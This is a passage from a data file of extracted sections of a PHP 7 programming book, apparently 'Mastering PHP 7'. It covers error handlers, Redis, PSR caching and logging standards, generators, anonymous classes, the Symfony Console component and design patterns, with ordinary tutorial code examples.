mechanism in the form of a set_error_handler() function that allows us to define a custom handler function for all uncaught errors. The set_error_handler() function accepts two parameters, as per the following description: mixed set_error_handler ( callable $error_handler [, int $error_types = E_ALL | E_STRICT ] ) The $error_handler function is either a handler function name passed as string, or entire anonymous handler function, whereas $error_types is one or more (separated by | ) masks specifying the type of error. The handler function itself also accepts several parameters, as per the following description: bool handler ( int $errno , string $errstr [, string $errfile [, int $errline [, array $errcontext ]]] ) Let's take a look at the following two examples: <?php function handler($errno, $errstr, $errfile, $errline, $errcontext) { echo 'Handler: ' . $errstr; } set_error_handler('handler', E_USER_ERROR | E_USER_WARNING); echo 'start'; trigger_error('Ups!', E_USER_ERROR); echo 'end'; <?php set_error_handler(function ($errno, $errstr, $errfile, $errline, $errcontext) { echo 'Handler: ' . $errstr; }, E_USER_ERROR | E_USER_WARNING); echo 'start'; trigger_error('Ups!', E_USER_WARNING); echo 'end'; These examples are nearly identical. The first one is using a separately defined handler function, which is then passed as a string argument to set_error_handler() . The second example uses the anonymous function with the same definition. Both examples use the trigger_error() function, one triggering E_USER_ERROR and the other E_USER_WARNING . When executed, both outputs will contain the end string. While the custom handler function enables us to handle all sorts of runtime errors, there are some errors we cannot handle. The following error types cannot be handled with a user-defined function: E_ERROR , E_PARSE , E_CORE_ERROR , E_CORE_WARNING , E_COMPILE_ERROR , E_COMPILE_WARNING , and most of E_STRICT raised in the file where set_error_handler() is called."},
    {"text": "Setting up the virtual host Setting up the virtual host We first amend the /etc/hosts file by adding the 127.0.0.1 test.loc line entry to it. With the test.loc host now added to the hosts file, we turn back to the Zend Server and click on the Add virtual host button under the Applications | Virtual Hosts screen. This takes us to the Properties step of the Add Virtual Host process: Here we enter test.loc for Virtual Host Name and 80 for Listen on Port . Clicking on the Next button takes us to the SSL Configuration step of the Add Virtual Host process: To keep things simple, let's just leave the This virtual host does not use SSL selection active and click on the Next button. This takes us to the Template step of the Add Virtual Host process: Likewise, let’s just leave the Use the default virtual host configuration template selection active and click on the Next button. This takes us to the Summary step of the Add Virtual Host process: To complete the virtual host setup, we click on the Finish button. Our test.loc virtual host should now be created, showing details such as the following: The document root used for our newly created virtual host points to the /usr/local/zend/var/apps/http/test.loc/80/_docroot_ directory. This is where we will dump our sample application using the following git clone command: sudo git clone https://github.com/ajzele/MPHP7-CH16.git . The output of the preceding command is as follows: With the code in place, accessing the http://test.loc URL within the browser should give us the following output: Downloading the example code Downloading the example code You can download the example code files for this book from your account at http://www.packtpub.com . If you purchased this book elsewhere, you can visit http://www.packtpub.com/support and register to have the files e-mailed directly to you. You can download the code files by following these steps: Log in or register to our website using your e-mail address and password. Hover the mouse pointer on the SUPPORT tab at the top. Click on Code Downloads & Errata . Enter the name of the book in the Search box. Select the book for which you're looking to download the code files. Choose from the drop-down menu where you purchased this book from. Click on Code Download . Once the file is downloaded, please make sure that you unzip or extract the folder using the latest version of: WinRAR / 7-Zip for Windows Zipeg / iZip / UnRarX for Mac 7-Zip / PeaZip for Linux The code bundle for the book is also hosted on GitHub at https://github.com/PacktPublishing/Mastering-PHP-7 . We also have other code bundles from our rich catalog of books and videos available at https://github.com/PacktPublishing/ . Check them out! Title Page Mastering PHP 7 Design, configure, build, and test professional web applications in PHP 7 Branko Ajzele BIRMINGHAM - MUMBAI Selecting Selecting Given that Redis is a key value store, selecting keys is as easy as using a single get() method of the Redis instance: <?php try { $client = new Redis(); $client ->connect( 'localhost' , 6379 ); echo $client ->get( 'Key3' ), PHP_EOL ; echo $client ->get( 'Key5' ), PHP_EOL ; } catch (RedisException $e ) { echo $e ->getMessage(), PHP_EOL ; } This should give us the following output: The Redis client class also provides the mget() method, which is able to fetch more than one key value at a time: <?php try { $client = new Redis(); $client ->connect( 'localhost' , 6379 ); $values = $client ->mget([ 'Key1' , 'Key2' , 'Key4' ]); print_r ( $values ); } catch (RedisException $e ) { echo $e ->getMessage(), PHP_EOL ; } This should give us the following output:"},
    {"text": "PSR-6 - caching interface PSR-6 - caching interface Performance issues are the ever-hot topic of application development. The effects of poorly performing applications can sometimes have serious financial impact. Back in 2007, Amazon reported a 100 ms increase in https://www.amazon.com/ load time and their sales decreased by 1%. Several studies have also shown that nearly half of the users are likely to abandon the website if the page load time is over 3 seconds. To address the performance issues, we look into caching solutions. Both browsers and servers allow caching of various resources, such as images, web pages, CSS/JS files. Sometimes, however, this is not enough as we need to be able to control the caching of various other bits on the application level, such as objects themselves. Over time, various libraries rolled out their own caching solutions. This made it tough for developers, as they needed to implement specific caching solutions in their code. This made it impossible to easily change caching implementation later on. To solve these problems, the PHP-FIG group brought forth the PSR-6 standard. This standard defines two main interfaces, CacheItemPoolInterface and CacheItemInterface , for working with Pool and Items . The pool represents a collection of items in the caching system. Whereas, item represents a single key /value pair stored within the pool. The key part acts as a unique identifier, so it must be immutable. The following code snippet reflects the PSR-6 CacheItemInterface definition: <?php namespace Psr\\Cache; interface CacheItemInterface { public function getKey(); public function get(); public function isHit(); public function set($value); public function expiresAt($expiration); public function expiresAfter($time); } The following code snippet reflects the PSR-6 CacheItemPoolInterface definition: <?php namespace Psr\\Cache; interface CacheItemPoolInterface { public function getItem($key); public function getItems(array $keys = array()); public function hasItem($key); public function clear(); public function deleteItem($key); public function deleteItems(array $keys); public function save(CacheItemInterface $item); public function saveDeferred(CacheItemInterface $item); public function commit(); } Libraries that implement the PSR-6 standard must support the following serializable PHP data types: Strings Integers Floats Boolean Null Arrays Object The compound structures such as arrays and objects are always tricky ones. The standard says that the indexed, associative, and multidimensional arrays of arbitrary depth must be supported. Since arrays in PHP are not necessarily of a single data type, this is the one to be careful about. Objects might utilize the PHP Serializable interface, __sleep() or __wakeup() magic methods, or similar language functionality. The important bit is that any data passed to libraries that implement PSR-6 is expected to come back exactly as passed. There are several PSR-6 cache implementations available via Composer, all of which support tags. The following is a partial list of the most popular ones: cache/filesystem-adapter : Using filesystem cache/array-adapter : Using a PHP array cache/memcached-adapter : Using Memcached cache/redis-adapter : Using Redis cache/predis-adapter : Using Redis (Predis) cache/void-adapter : Using Void cache/apcu-adapter : Using APCu cache/chain-adapter : Using chain cache/doctrine-adapter : Using Doctrine We can easily add any one of these caching libraries to our project just by using Composer require new/package . The PSR-6 compliance makes it possible for us to easily swap these libraries in our project without changing any of its code. The Redis is an open source in-memory data structure store used as a database, cache, and message broker. It is quite popular with PHP developers as a caching solution. The official Redis page is available at https://redis.io/ . The official, full-length PSR-6: Caching Interface guide is available at http://www.php-fig.org/psr/psr-6/ . Generator return expressions Generator return expressions Though PHP 5.5 enriched the language by introducing generator functions functionality, it lacked the return expressions alongside their yielded values. This inability of generator functions to specify return values limited their usefulness with coroutines. The PHP 7 version addressed this limitation by adding support for the return expressions. Generators are basically interruptible functions, where the yield statement flags the interruption point. Let's take a look at the following simple generator, written in the form of a self-invoking anonymous function: $letters = (function () { yield 'A'; yield 'B'; return 'C'; })(); // Outputs: A B foreach ($letters as $letter) { echo $letter; } // Outputs: C echo $letters->getReturn(); Though the $letters variable is defined as a self-invoking anonymous function, the yield statements are preventing immediate function execution, turning the function into the generator. Generator itself stands still until we try to iterate over it. Once the iteration kicks in, generator yields value A followed by value B , but not C . What this means is that when used in the foreach construct, the iteration will only encompass yielded values, not the returned ones. Once the iteration is done, we are free to call the getReturn() method to retrieve the actual return value. Calling the getReturn() method prior to iterating over generator results cannot get the return value of a generator that hasn't returned an exception. The great thing about the generators is that they are not a one-way street; they are not limited to only yielding values, they can accept them as well. By being the instances of a \\Generator class, they operate with several useful methods, two of which are getReturn and send . The send method enables us to send values back to the generator, which turns the one-way communication from the generator to the caller into a two-way channel between the two, effectively, turning generators into coroutines. The addition of the getReturn method empowered generators with the return statements, giving more flexibility with coroutines."},
    {"text": "Inserting Inserting Much like selecting, inserting involves the same set of PDO methods wrapped around the INSERT INTO SQL statement: <?php try { $conn = new PDO( \"mysql:host=127.0.0.1;dbname=sakila\", 'root', 'mL08e!Tq', [PDO:: ATTR_ERRMODE => PDO:: ERRMODE_EXCEPTION ] ); $statement = $conn ->prepare( 'INSERT INTO address ( address, district, city_id, postal_code, phone, location ) VALUES ( :address, :district, :city_id, :postal_code, :phone, POINT(:longitude, :latitude) ); ' ); $statement ->execute([ ':address' => 'The street' , ':district' => 'The district' , ':city_id' => '537' , ':postal_code' => '31000' , ':phone' => '888777666333' , ':longitude' => 45.55111 , ':latitude' => 18.69389 ]); } catch (PDOException $e ) { echo $e ->getMessage(), PHP_EOL ; } Constant arrays Constant arrays There are two types of constants in PHP, the constants and the class constants . The constants can be defined pretty much anywhere using the define construct, while the class constants are defined within the individual class or interface using the const keyword. While we cannot say that one type of constant is more important than the other, PHP 5.6 made the difference between the two by allowing class constants with the array data type. Aside from that difference, both types of constants supported scalar values (integer, float, string, Boolean, or null). The PHP 7 release addressed this inequality by adding the array data type to constants as well, making the following into valid expressions: // The class constant - using 'const' keyword class Rift { const APP = [ 'name' => 'Rift', 'edition' => 'Community', 'version' => '2.1.2', 'licence' => 'OSL' ]; } // The class constant - using 'const' keyword interface IRift { const APP = [ 'name' => 'Rift', 'edition' => 'Community', 'version' => '2.1.2', 'licence' => 'OSL' ]; } // The constant - using 'define' construct define('APP', [ 'name' => 'Rift', 'edition' => 'Community', 'version' => '2.1.2', 'licence' => 'OSL' ]); echo Rift::APP['version']; echo IRift::APP['version']; echo APP['version']; Though having constants with the array data type might not be an exciting type of feature, it adds a certain flavor to the overall constant use. Debugging, Tracing, and Profiling Debugging, Tracing, and Profiling Tools such as PHPUnit and Behat take an automated approach to testing software. They give us a great level of reassurance that our application will deliver according to the tests. The tests, however, like the code itself, are subject to flaws. Be it a faulty test code or an incomplete test case, having a fully written test for something does not necessarily mean our code is perfect in a bug-free and performance-optimized way. More often than not, there are unexpected bugs and performance issues that are far from obvious during development cycles, only to occasionally resurface at production stage. While perfect code is a far-reaching concept or, at the very least, a subject for debate, there certainly is more we can do to improve the quality of our software. To complete the canvas of software testing, a more methodical process and thorough insight into the application is required during its runtime. This is where debugging kicks in. The term is so common among developers that it usually indicates the following three distinctive processes : Debugging : This is process of detecting and fixing an application's bugs Tracing : This is a process of logging an application's chronologically relevant information Profiling : This is a process of logging an application's performance-relevant information While the tracing and profiling processes automatically log the relevant information every time an application is run, the debugging process is more of a manual undertaking. In this chapter, we will take a closer look at the two PHP extensions that deal with the debugging, tracing, and profiling functionalities: Xdebug Installation Debugging Tracing Profiling Zend Z-Ray Installing Zend Server Setting up the virtual host Using Z-Ray Testing the Important Bits Testing the Important Bits Writing quality software is a technically challenging and expensive activity. The technically challenging part comes from the need to understand and implement more than one type of application testing. Whereas, the expensive part comes from the fact that proper testing usually yields more code than the code we are testing, which translates to more time needed to get the job done. Unlike developers, businesses don't care as much about technicalities, as they care about reducing cost. This is where the two worlds clash at the expense of quality. While both understand the implications of a technical debt concept, rarely few take it seriously. Web applications come to mind as a nice example of this clash. The good enough UX and design is often sufficient to meet the needs of shareholders, while many of the internals and far-from-the-eye parts of the software are left untested. Check out https://en.wikipedia.org/wiki/Technical_debt for more information on the technical debt concept. There are many types of testing we can apply to our application, some of which are as follows: Unit Testing Functional Testing Performance Testing Usability Testing Acceptance Testing It would be unjust to say that one is more important than the other, as each addresses a very distinct segment of the application. The current state of the PHP ecosystem and tooling indicates unit , functional , and performance testing to be among the popular ones. In this chapter, we will take a quick look at a few of the tools and libraries that accommodate these types of testing: PHPUnit Behat phpspec jMeter Software that a typical programmer believes to be thoroughly tested has often had only about 55 to 60 percent of its logic paths executed. Using automated support, such as coverage analyzers, can raise that roughly to 85 to 90 percent. It is nearly impossible to test software at the level of 100 percent of its logic paths. - Facts and Fallacies of Software Engineering book."},
    {"text": "Concurrency Concurrency While concurrency is a topic applicable to multiple layers of stack, there are a few configuration directives around web servers that every developer should be familiar with. Concurrency refers to handling multiple connections inside a web server. The two most popular web servers for PHP, Apache, and Nginx, both allow some basic configuration for handling multiple connections. While there are plenty of debates as to which server is faster, Apache with the MPM event module is pretty much on par with the Nginx performance. The following directives dictate the Apache MPM event concurrency, and are therefore worth keeping an eye on: ThreadsPerChild : This is the number of threads created by each child process ServerLimit : This is the limit on the configurable number of processes MaxRequestWorkers : This is the maximum number of connections to be processed simultaneously AsyncRequestWorkerFactor : This is the limit on concurrent connections per process An absolute maximum numbers of possible concurrent connections can be calculated using the following formula: max_connections = (AsyncRequestWorkerFactor + 1) * MaxRequestWorkers The formula is quite simple; however, changing AsyncRequestWorkerFactor is not just a matter of punching in a higher configuration value. We would need to have a solid knowledge about the traffic hitting the web server, which implies extensive testing and data gathering. The following directives dictate the Nginx concurrency, and are therefore worth keeping an eye on: worker_processes : This is the number of worker processes; it defaults to 1 worker_connections : This is the maximum number of simultaneous connections that can be opened by a worker process; it defaults to 512 The ideal total number of users Nginx can serve comes down to the following formula: max_connections = worker_processes * worker_connections Though we have barely scratched the surface of web server concurrency and the overall configuration directives for these two web servers, the preceding information should serve us as a starting point. While developers don't usually tune web servers, they should know when to flag misconfiguration that might impact their PHP application performance. The Realm of CLI The Realm of CLI A great deal of modern application development evolves around visible bits and pieces. Whether we are talking about the server infrastructure, development tools, or the resulting application itself, graphical interfaces dominate our experience nowadays. While the diversity and overall list of available GUI tools seems endless, the console still remains an important part of development that any self-respectful developer should be familiar with. There are countless reasons why the console is simply the right tool for the job. Take large database backups, for example. Trying to backup gigabytes of MySQL data via the GUI tool is likely to result in a complete failure or a corrupt backup file, whereas the console-based mysqldump tool is impervious to the size of the backup or the time it takes for it to execute. Things such as large and time-consuming data imports, data exports, data synchronizations, and so on are common operations of many PHP applications. These are just some of the operations we would want to move away from the browser and into the console. In this chapter, we will take a look at the following sections: Understanding PHP CLI The Console component Input/output streams Process control: Ticks Signals Alarms Multiprocessing Uniform variable syntax Uniform variable syntax The new variable syntax is probably one of the most impacting features of the PHP 7 release. It brings greater order into variable dereferencing. The impacting part, however, not only affects changes for better as it also introduces certain backwards compatibility ( BC ) breaks. Among the main reasons for these changes were inconsistencies with variable variable syntax. Observing the $foo['bar']->baz expression, first a variable named $foo is fetched, then the bar offset is taken from the result, and, finally, the baz property is accessed. This is how normally variable accesses is interpreted, from left to right. However, the variable variable syntax goes against this principle. Observing the $$foo['baz'] variable, $foo is fetched first, then its baz offset, and finally looking for the variable with the name of the result is done. The newly introduced uniform variable syntax addresses these inconsistencies as per the following example: /*** expression syntax ***/ $$foo['bar']['baz'] // PHP 5.x meaning ${$foo['bar']['baz']} // PHP 7.x meaning ($$foo)['bar']['baz'] /*** expression syntax ***/ $foo->$bar['baz'] // PHP 5.x meaning $foo->{$bar['baz']} // PHP 7.x meaning ($foo->$bar)['baz'] /*** expression syntax ***/ $foo->$bar['baz']() // PHP 5.x meaning $foo->{$bar['baz']}() // PHP 7.x meaning ($foo->$bar)['baz']() /*** expression syntax ***/ Foo::$bar['baz']() // PHP 5.x meaning Foo::{$bar['baz']}() // PHP 7.x meaning (Foo::$bar)['baz']() Other than addressing the preceding inconsistencies, several new syntax combinations have been added that make the following expressions now valid: $foo()['bar'](); [$obj1, $obj2][0]->prop; getStr(){0} $foo['bar']::$baz; $foo::$bar::$baz; $foo->bar()::baz() // Assuming extension that implements actual toLower behavior \"PHP\"->toLower(); [$obj, 'method'](); 'Foo'::$bar; There are quite a few different syntaxes here. While some of this might seem overwhelming and hard to find use for, it opens a door for new ways of thinking and code use."},
    {"text": "Anonymous classes Anonymous classes Instantiating objects from classes is a pretty straightforward action. We use the new keyword, followed by a class name and possible constructor parameters. The class name part implies the existence of a previously defined class. Though rare, there are cases where classes are only used during execution. These rare cases make it verbose to force a class definition separately when we know that the class is only being used once. To address this verbosity challenge, PHP introduced a new functionality called anonymous classes . While the concept of anonymous classes has been around for quite some time in other languages, PHP only got to it in the PHP 7 release. The syntax of anonymous classes is pretty straightforward, which is as follows: $obj = new class() {}; $obj2 = new class($a, $b) { private $a; private $b; public function __construct($a, $b) { $this->a = $a; $this->b = $b; } }; We use the new keyword , followed by the class keyword, followed by optional constructor parameters, and finally the body of the class packed in curly braces. Both objects are instantiated as a class@anonymous type. The functionality of objects instantiated through anonymous classes is no different from those instantiated via named classes. Compared to named classes, anonymous classes are pretty much equal, in that, they can pass contractor parameters, extend other classes, implement interfaces, and use traits. However, anonymous classes cannot be serialized. Trying to serialize an instance of an anonymous class, as shown in the following code snippet, throws a fatal Serialization of class@anonymous is not allowed… error. There are few other caveats to keep in mind when using anonymous classes. Nesting an anonymous class within another class hides the private and protected methods or properties of that outer class. To circumvent the limitation, we can pass the outer class' private and protected properties into an anonymous class constructor, as follows: interface Salary { public function pay(); } trait Util { public function format(float $number) { return number_format($number, 2); } } class User { private $IBAN; protected $salary; public function __construct($IBAN, $salary) { $this->IBAN = $IBAN; $this->salary = $salary; } function salary() { return new class($this->IBAN, $this->salary) implements Salary { use Util; private $_IBAN; protected $_salary; public function __construct($IBAN, $salary) { $this->_IBAN = $IBAN; $this->_salary = $salary; } public function pay() { echo $this->_IBAN . ' ' . $this->format($this->_salary); } }; } } $user = new User('GB29NWBK60161331926819', 4500.00); $user->salary()->pay(); In this strip down User class example, we have a salary method that returns an anonymous class. To showcase the more robust use of anonymous classes, we make it implement the Salary interface and use the Util trait. The Salary interface forces the anonymous class to implement the pay method. Our implementation of pay method requires IBAN and salary member values from the outer class. Since an anonymous class does not allow access to private and protected members of the outer class, we pass those through anonymous class constructors. While the overall example certainly does not reflect notions of a good class design, it does showcase how to bypass the member visibility limitation. There is also an option for an anonymous class to fetch the private and protected members of the outer class by extending the outer class itself. However, this requires the anonymous class constructor to properly instantiate the outer class; otherwise, we might end up with a warning, such as a missing argument, for User::__construct() . Even though they are namelessly defined, anonymous classes still get an internal name. Using the core PHP get_class method on an instance of an anonymous class, gets us that name, as shown in the following examples: class User {} class Salary {} function gen() { return new class() {}; } $obj = new class() {}; $obj2 = new class() {}; $obj3 = new class() extends User {}; $obj4 = new class() extends Salary {}; $obj5 = gen(); $obj6 = gen(); echo get_class($obj); // class@anonymous/var/www/index.php0x27fe03a echo get_class($obj2); // class@anonymous/var/www/index.php0x27fe052 echo get_class($obj3); // class@anonymous/var/www/index.php0x27fe077 echo get_class($obj4); // class@anonymous/var/www/index.php0x27fe09e echo get_class($obj5); // class@anonymous/var/www/index.php0x27fe04f echo get_class($obj6); // class@anonymous/var/www/index.php0x27fe04f for ($i=0; $i<=5; $i++) { echo get_class(new class() {}); // 5 x class@anonymous/var/www/index.php0x27fe2d3 } Observing these outputs, we see that the anonymous classes created in the same position (function or a loop) will yield the same internal name. Those with the same name return true for the equal ( == ) operator and false for the identity operator ( === ), an important consideration in order to avoid potential bugs. Support for an anonymous classes opens a door to some interesting use cases, such as mocking tests and doing the inline class overrides, both of which, when used wisely, can improve code quality and readability."},
    {"text": "Setting up the Console component Setting up the Console component The Console component is available in two flavors: Composer package ( symfony/console on Packagist) Git repository ( https://github.com/symfony/console ) Given that Composer is a de facto standard when it comes to dealing with PHP components, we will use the composer require command to quickly kick off our first console application, as follows: mkdir foggyline cd foggyline composer require symfony/console Running this command triggers the following output: Upon completion, Composer generates the following structure within our foggyline directory: All it takes for us now is to create an application entry file, let's say, app.php , and include the vendor/autoload.php file generated by Composer, as follows: The very first line of our file, known as shebang , contains the instructions required for autodetection of the type of script. While the line itself is not really necessary, it makes a difference between normally running php app.php or just ./app.php in order to execute our application script. Following the shebang line is the PHP code that deals with the inclusion of autoload.php and instantiation of the Console\\Application class. The Console\\Application class accepts two parameters: the name of the application and the version we wish to assign to it. In between instantiating and running the app, we have a few commented-out lines that merely demonstrate where we would normally register our individual application commands. To learn more about the shebang character sequence, check out the Wikipedia article at https://en.wikipedia.org/wiki/Shebang_(Unix) . To put the shebang line into effect, the app.php file needs to be flagged as : $ chmod +x app.php $ ./app.php With these four lines of PHP code in place, we already have enough to execute our The output comes out colored and nicely formatted, just as we would expect from modern console applications. This is merely but a fraction of things that the Console component takes care for us. With this, we conclude our Console component setup. We can now go ahead and start registering our application commands using the add() method of an $app instance. Executing tests Executing tests Once we sort out all of the stub methods within the features\\bootstrap\\FeatureContext.php file, we can simply run the behat command in our project root to execute tests. This should give us the following output: The output indicates a total of 2 scenarios and 14 different steps, all of which are confirmed to be working. Using __clone() Using __clone() The __clone() magic method is triggered on newly cloned objects, where cloning is done using the clone keyword. The method does not accept any parameters nor does it return any values, as per the following synopsis: void __clone(void) When it comes to object cloning, we tend to differentiate deep copy and shallow copy. Deep copy copies everything--all of the objects an object might point to. Shallow copy copies as little as possible, leaving the object references as references where possible. While shallow copy might come in handy as a protection against circular references, replicating all properties whether they are references or values is not always the desired behavior. The following example demonstrates the implementation of the __clone() method and the use of the clone keyword: <?php class User { public $identifier; public function __clone() { $this->identifier = null; } } $user = new User(); $user->identifier = 'john'; $user2 = clone $user; var_dump($user); var_dump($user2); This results in the following output: object(User)#1 (1) { [\"identifier\"]=> string(4) \"john\" } object(User)#2 (1) { [\"identifier\"]=> NULL } The important takeaway when it comes to the __clone() method is that it is not an override of the cloning process. The normal cloning process always occurs. The __clone() method merely takes on the responsibility of amending the wrong doing, where we might not normally be satisfied with the outcome. Using React Using React React is a library that makes it possible to event-driven programming in PHP, much like JavaScript does. Based on the reactor pattern, it essentially acts as an event loop, allowing various other third-party libraries using its components to write asynchronous code. The page at https://en.wikipedia.org/wiki/Reactor_pattern states, The reactor design pattern is an event handling pattern for handling service requests delivered concurrently to a service handler by one or more inputs . The library is available at https://github.com/reactphp/react"},
    {"text": "The abstract factory pattern The abstract factory pattern Abstract factory encapsulates a group of individual factories that have a common functionality. It does so without specifying their concrete classes. This makes it easier to write portable code, because clients can interchange concrete implementations without changing the code. The following example demonstrates a possible abstract factory patt ern implementation: <?php interface Button { public function render(); } interface FormFactory { public function createButton(); } class LoginButton implements Button { public function render() { return '<button name=\"login\">Login</button>' ; } } class RegisterButton implements Button { public function render() { return '<button name=\"register\">Register</button>' ; } } class LoginFactory implements FormFactory { public function createButton() { return new LoginButton(); } } class RegisterFactory implements FormFactory { public function createButton() { return new RegisterButton(); } } // Client $loginButtonFactory = new LoginFactory(); $button = $loginButtonFactory ->createButton(); echo $button ->render(); $registerButtonFactory = new RegisterFactory(); $button = $registerButtonFactory ->createButton(); echo $button ->render(); We started off by creating two simple interfaces, Button and FormFactory . The Button interface defines a single render() method, which we then implement through two concrete class implementations, LoginButton and RegisterButton . The two FormFactory implementations, LoginFactory and RegisterFactory , then instantiate the corresponding button classes as part of their createButton() method implementation. The client uses only the LoginFactory and RegisterFactory instances, thus avoiding directly instantiating concrete button classes. PSR-3 - logger interface PSR-3 - logger interface Logging different type of events is a common practice for applications. While one application might categorize these types of events into errors, informational events, and warnings, others might throw in more elaborate levels of severity logging. The same goes for the actual format of the log message itself. Goes to say that every application might easily have its own flavor of logging mechanism. This stands in a way of interoperability. The PSR-3 standard sets out to fix this by defining a standard for the actual logger interface. Such a standardized interface then enables us to write PHP application logs in a simple and universal way. The syslog protocol (RFC 5424), defined by Internet Engineering Task Force ( IETF ), differentiates the following eight severity levels: emergency : This states the system is unusable alert : This states action must be taken immediately critical : This states critical conditions error : This states error conditions warning : This states warning conditions notice : This states normal but significant condition info : This states informational messages debug : This states debug-level messages The PSR-3 standard builds upon the RFC 5424 by specifying LoggerInterface , which exposes a special method for each of the eight severity levels, shown as follows: <?php interface LoggerInterface { public function emergency($message, array $context = array()); public function alert($message, array $context = array()); public function critical($message, array $context = array()); public function error($message, array $context = array()); public function warning($message, array $context = array()); public function notice($message, array $context = array()); public function info($message, array $context = array()); public function debug($message, array $context = array()); public function log($level, $message, array $context = array()); } We can also notice the ninth log() method, whose signature differs than the first eight. The log() method is more of a convenience method, whose level parameter needs to indicate one of the eight severity levels. Calling this method must have the same result as calling the level-specific methods. Every method accepts a string as $message , or an object with a __toString() method. Trying to call these methods with an unknown severity level must throw Psr\\Log\\InvalidArgumentException . The $message string may contain one or more placeholders, which the interface implementors might interpolate with key-value parameters passed into the $context string, as shown in the following abstract example: <?php //... $message = \"User {email} created, with role {role}.\"; //... $context = array('email' => ‘john@mail.com', ‘role’ => 'CUSTOMER'); //... Without going into the implementation details, it's suffice to say that PSR-3 is a simple standard set to sort an important role of a logger mechanism. Using the logger interface, we are freed from having to rely on a specific logger implementation. We can type-hint our application code against LoggerInterface to acquire a PSR-3 compliant logger. If we were using Composer with our project, we could easily include the psr/log package into it. This would enable us to integrate a PSR compliant logger with our project in one of the following ways: Implementing the LoggerInterface interface and defining all of its methods Inheriting the AbstractLogger class and defining the log method Using LoggerTrait and defining the log method However, it is much easier to use an existing Composer package, such as monolog/monolog or katzgrau/klogger , and avoid writing our own logger implementation altogether. The Monolog project is a nice example of a popular and robust PHP library that implements the PSR-3 logger interface. It can be used to send our logs to files, sockets, inboxes, databases, and various web services. The official, full-length PSR-3: Logger Interface guide is available at http://www.php-fig.org/psr/psr-3/ ."},
    {"text": "Dealing with inputs Dealing with inputs Making practical and useful commands usually requires the ability to pass on the dynamic information from the operating system console to our application command. The Console component differentiates two types of inputs-- arguments and options : Arguments are ordered, space-separated ( John Doe ), optional or required, string types of information. Assignment of arguments comes after the command name itself. We use the addArgument() method of the Symfony\\Component\\Console\\Command\\Command instance to assign arguments to our custom command. Options are unordered, two-dashes-separated ( --name=John --surname=Doe ), always optional, assigned type of information. The a ssignment of options comes after the command name itself. We use the addOption() method of the Symfony\\Component\\Console\\Command\\Command instance to assign options to our custom command. The addArgument() method accepts four parameters, as per the following synopsis: public function addArgument( $name, $mode = null, $description = '', $default = null ) Whereas, the addArgument() method parameters have the following meanings: $name : This is the argument name $mode : This is the argument mode, which can be InputArgument::REQUIRED or InputArgument::OPTIONAL $description : This is the description text $default : This is the default value (for the InputArgument::OPTIONAL mode only) The addOption() method accepts five parameters, as per the following synopsis: public function addOption( $name, $shortcut = null, $mode = null, $description = '', $default = null ) Whereas, the addOption() method parameters have the following meanings: $name : This is the option name $shortcut : This is the shortcut (it can be null ) $mode : This is the option mode, which is one of the InputOption::VALUE_* constants $description : This is the description text $default : This is the default value (must be null for InputOption::VALUE_NONE ) We could easily build our commands such that they use the two input types together, as they do not exclude each other. Let's go ahead and modify our src\\Foggyline\\Console\\Command\\CustomerRegisterCommand.php file with the following changes: <?php namespace Foggyline\\Console\\Command; use Symfony\\Component\\Console\\{ Command\\Command, Input\\InputInterface, Input\\InputArgument, Input\\InputOption, Output\\OutputInterface }; class CustomerRegisterCommand extends Command { protected function configure() { $this->setName('customer:register') ->addArgument( 'name', InputArgument::REQUIRED, 'Customer full name.' ) ->addArgument( 'email', InputArgument::REQUIRED, 'Customer email address.' ) ->addArgument( 'dob', InputArgument::OPTIONAL, 'Customer date of birth.' ) ->addOption( 'email', null, InputOption::VALUE_REQUIRED, 'Send email to customer?' ) ->addOption( 'log', null, InputOption::VALUE_OPTIONAL, 'Log to event system?' ) ->setDescription('Enables or disables existing customer.'); } protected function execute(InputInterface $input, OutputInterface $output) { var_dump($input->getArgument('name')); var_dump($input->getArgument('email')); var_dump($input->getArgument('dob')); var_dump($input->getOption('email')); var_dump($input->getOption('log')); } } Our modifications mainly extend the group use declaration and the configure() method. Within the configure() method, we are utilizing the addArgument() and addOption() instance methods to add the number of inputs to our command. Trying to execute our console command now, with no arguments, would trigger RuntimaException , as shown in the following screenshot: The error is descriptive enough to provide a list of missing arguments. However, it does not trigger our own argument and option descriptions. To get those to show up, we could easily run a ./app.php customer:register --help command. This tells the Console component to show the command details we specified: Now that we see the exact descriptions behind our arguments and options, we can issue a more valid command that would not trigger an error, such as ./app.php customer:register John Doe --log=true . Passing all required arguments progresses us to the execute() method, which has been modified to do a raw dump of the passed on values for our inspection, as shown in the following screenshot: We now have a simple, but working version of a command that is able to accept inputs. The addArgument() and addOption() methods made it really easy to define and describe these inputs via a single expression. The Console component has proven itself to be a really handy addition to our console application."},
    {"text": "The observer pattern The observer pattern The observer pattern is quite a popular one. It allows for an event subscription type of behavior. We differentiate the subject and observer(s) type of objects. The observer is an object subscribed to subject object state change. When the subject changes its state, it notifies all of its observers automatically. The following example demonstrates a possible observer patter n implementation: <?php class CheckoutSuccess implements \\SplSubject { protected $salesOrder ; protected $observers ; public function __construct( $salesOrder ) { $this -> salesOrder = $salesOrder ; $this -> observers = new \\SplObjectStorage(); } public function attach(\\SplObserver $observer ) { $this -> observers ->attach( $observer ); } public function detach(\\SplObserver $observer ) { $this -> observers ->detach( $observer ); } public function notify() { foreach ( $this -> observers as $observer ) { $observer ->update( $this ); } } public function getSalesOrder() { return $this -> salesOrder ; } } class SalesOrder { } class Mailer implements \\SplObserver { public function update(\\SplSubject $subject ) { echo 'Mailing ' , get_class ( $subject ->getSalesOrder()), PHP_EOL ; } } class Logger implements \\SplObserver { public function update(\\SplSubject $subject ) { echo 'Logging ' , get_class ( $subject ->getSalesOrder()), PHP_EOL ; } } $salesOrder = new SalesOrder(); $checkoutSuccess = new CheckoutSuccess( $salesOrder ); // some code... $checkoutSuccess ->attach( new Mailer()); // some code... $checkoutSuccess ->attach( new Logger()); // some code... $checkoutSuccess ->notify(); The PHP \\SplSubject and \\SplObserver interfaces allow an observer pattern implementation. Our checkout success example uses these interfaces to implement CheckoutSuccess as a class for the subject type of object, and Mailer and Logger as classes for the observer type of object. Using the attach() method of a CheckoutSuccess instance, we attached both observers to the subject. Once the subject notify() method is called, the individual observer update() methods get triggered. The getSalesOrder() method calls might come as a surprise, as there is no actual getSalesOrder() method on direct instances of the SplSubject object. However, the two update(\\SplSubject $subject) method calls in our example will be receiving an instance of CheckoutSuccess . Otherwise, type-casting the $subject argument directly to CheckoutSuccess would give us a PHP fatal error as follows. PHP Fatal error: Declaration of Logger::update(CheckoutSuccess $subject) must be compatible with SplObserver::update(SplSubject $SplSubject) Error handling Error handling Handling errors around mysqli is relatively easy as we can use a 